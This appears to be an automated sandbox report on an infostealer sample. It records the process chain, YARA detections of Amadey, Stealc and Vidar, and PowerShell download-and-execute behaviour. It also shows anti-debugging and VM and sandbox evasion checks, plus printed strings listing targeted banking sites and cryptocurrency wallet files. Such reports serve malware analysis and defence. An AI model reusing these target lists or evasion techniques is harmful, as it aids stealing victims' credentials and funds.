Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Special instruction interceptor: First address: DDEBD8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Special instruction interceptor: First address: DDC032 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Special instruction interceptor: First address: 1009F78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9EBD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9C032 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2C9F78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Special instruction interceptor: First address: 1244A3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Special instruction interceptor: First address: 1244B25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Special instruction interceptor: First address: 1244A50 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIDHJEBGIEB.exe

Code function: 26_2_05050C18 rdtsc

26_2_05050C18

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7416	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7392	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7388	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7396	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7508	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7400	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5244	Thread sleep count: 63 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5244	Thread sleep time: -1890000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5244	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIDHJEBGIEB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C97C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001F.00000002.3421032516.0000000000225000.00000040.00000001.01000000.0000000E.sdmp, 9f1158ad0a.exe, 9f1158ad0a.exe, 00000020.00000002.3422406723.00000000013C1000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: GDHIIIIE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: GDHIIIIE.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DocumentsIDHJEBGIEB.exe, 0000001A.00000003.2701609903.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GDHIIIIE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: GDHIIIIE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 0000001F.00000002.3423216309.000000000098F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2699780508.0000000000693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699780508.00000000006C2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001F.00000002.3423216309.00000000009AB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001F.00000002.3423216309.000000000097A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GDHIIIIE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: GDHIIIIE.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2740203120.0000000023231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: GDHIIIIE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: GDHIIIIE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2740203120.0000000023231000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: file.exe, 00000000.00000002.2740203120.00000000232AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GDHIIIIE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DocumentsIDHJEBGIEB.exe, 0000001A.00000003.2706981871.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: GDHIIIIE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: GDHIIIIE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: GDHIIIIE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: GDHIIIIE.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware&(
Source: GDHIIIIE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: GDHIIIIE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2701395750.0000000000DD5000.00000040.00000001.01000000.00000003.sdmp, DocumentsIDHJEBGIEB.exe, 0000001A.00000002.2737771979.0000000000F65000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.2777498756.0000000000225000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2777144320.0000000000225000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000001.2708067887.0000000000225000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001F.00000002.3421032516.0000000000225000.00000040.00000001.01000000.0000000E.sdmp, 9f1158ad0a.exe, 00000020.00000002.3422406723.00000000013C1000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GDHIIIIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: GDHIIIIE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIDHJEBGIEB.exe

Code function: 26_2_05050C18 rdtsc

26_2_05050C18

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9C5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C963480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_0006652B mov eax, dword ptr fs:[00000030h]		31_2_0006652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_0006A302 mov eax, dword ptr fs:[00000030h]		31_2_0006A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C99B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C99B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHJEBGIEB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDHJEBGIEB.exe "C:\Users\user\DocumentsIDHJEBGIEB.exe"
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe "C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe"

Source: file.exe, file.exe, 00000000.00000002.2701395750.0000000000DD5000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: v@Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C99B341 cpuid

0_2_6C99B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9635A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.DocumentsIDHJEBGIEB.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.skotes.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000003.2694072202.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3420689915.0000000000031000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3255068328.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2776990344.0000000000031000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2737672229.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2777165558.0000000000031000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2736458932.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2736424546.0000000004820000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2185223333.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2699780508.000000000064E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2700782592.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session 